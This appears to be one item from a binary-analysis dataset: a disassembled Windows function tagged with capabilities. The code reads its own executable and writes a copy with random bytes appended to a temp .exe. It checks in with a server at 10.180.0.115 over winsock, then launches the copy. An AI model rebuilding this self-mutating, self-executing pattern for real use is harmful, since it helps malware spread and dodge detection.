Function at 0x4013c0
Capabilities:
Create process on windows
Get common file path
Initialize winsock library
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4d4
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x4d0], eax
push ebx
xor eax, eax
push esi
push edi
mov dword [esp + 0x1a1], eax
mov dword [esp + 0x1a5], eax
mov dword [esp + 0x1a9], eax
mov dword [esp + 0x1ad], eax
mov dword [esp + 0x1b1], eax
mov dword [esp + 0x1b5], eax
mov dword [esp + 0x1b9], eax
push 0x104
lea eax, [esp + 0x2cc]
push eax
push 0
mov byte [esp + 0x1ac], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.MSVCR100.dll_printf]
lea ecx, [esp + 0x2c8]
push ecx
push str.Got_my_filename:__s_n
call edi
lea edx, [esp + 0x2d0]
push 0x402578
push edx
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x401488
lea eax, [esp + 0x2c8]
push eax
push str.Unable_to_open:__s_n
call edi
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d0]
xor ecx, esp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.MSVCR100.dll_ftell]
push esi
call ebx
add esp, 4
push 2
push 0
push esi
mov edi, eax
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
push esi
call ebx
add esp, 4
push 0
push edi
push esi
mov ebx, eax
call dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
push ebx
push str.file_size_is:__d_n
call dword [sym.imp.MSVCR100.dll_printf]
lea eax, [ebx + 0x10]
push eax
mov dword [esp + 0x18], eax
call dword [sym.imp.MSVCR100.dll_malloc]
add esp, 0xc
push esi
push 1
mov edi, eax
push ebx
push edi
call dword [sym.imp.MSVCR100.dll_fread]
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 0x14
push 0
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
xor esi, esi
add ebx, edi
call dword [sym.imp.MSVCR100.dll_rand]
and eax, 0x800000ff
jns 0x40151a
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebx + esi], al
inc esi
cmp esi, 0x10
jl 0x401506
lea ecx, [esp + 0x3d0]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 0x104
ja 0x401748
test eax, eax
je 0x401748
lea edx, [esp + 0x1c0]
push edx
push 0
push str.DEMO
lea eax, [esp + 0x3dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x401591
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 7
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d0]
xor ecx, esp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x1c0]
lea edx, [eax + 1]
jmp 0x4015a0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015a0
sub eax, edx
mov bl, 0x65
mov byte [esp + eax + 0x1bf], bl
lea eax, [esp + 0x1c0]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4015c0
sub eax, edx
mov byte [esp + eax + 0x1be], 0x78
lea eax, [esp + 0x1c0]
lea ecx, [eax + 1]
jmp 0x4015e0
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4015e0
sub eax, ecx
lea ecx, [esp + 0x1c0]
push 0x402598
push ecx
mov byte [esp + eax + 0x1c5], bl
call dword [sym.imp.MSVCR100.dll_fopen]
mov edx, dword [esp + 0x14]
mov esi, eax
push esi
push 1
push edx
push edi
call dword [sym.imp.MSVCR100.dll_fwrite]
mov edi, dword [sym.imp.MSVCR100.dll_printf]
lea ecx, [esp + 0x1d8]
push ecx
push eax
push str.Wrote__d_bytes_to__s_n
call edi
add esp, 0x24
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
lea edx, [esp + 0x10]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401652
push str.Client:_Error_at_WSAStartup__._n
jmp 0x401657
push str.Client:_WSAStartup___is_OK._n
call edi
add esp, 4
mov dword [esp + 0xc], 0xb
call fcn.00401000
mov esi, eax
cmp esi, 0xffffffff
jne 0x40167a
push str.___Failed_to_get_echo_port_from_server._n
call edi
add esp, 4
push esi
push str.Got_controller_port:__d_n
call edi
push esi
lea ebx, [esp + 0x1ac]
call fcn.00401190
add esp, 0xc
mov ecx, ebx
mov eax, str.ADAMANDPRASHANTAREAWESOME_n
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4016c0
test dl, dl
je 0x4016bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4016c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4016a0
xor eax, eax
jmp 0x4016c5
sbb eax, eax
sbb eax, 0xffffffff
push esi
push str.10.180.0.115
test eax, eax
je 0x4016d6
push str._s:_d_DATA_CORRUPT._n
jmp 0x4016db
push str._s:_d_DATA_OK._n
call edi
add esp, 0xc
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x401664
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [esp + 0x1c0]
push eax
push str.Attempting_to_execute:__s_n
call edi
add esp, 8
push 1
push 0
push 0
lea ecx, [esp + 0x1cc]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea esi, [esp + 0x1c0]
call fcn.00401320
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4d0]
xor ecx, esp
call fcn.0040176f
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x4dc]
neg eax
pop edi
sbb eax, eax
pop esi
and eax, 0xfffffffb
pop ebx
xor ecx, esp
add eax, 7
call fcn.0040176f
mov esp, ebp
pop ebp
ret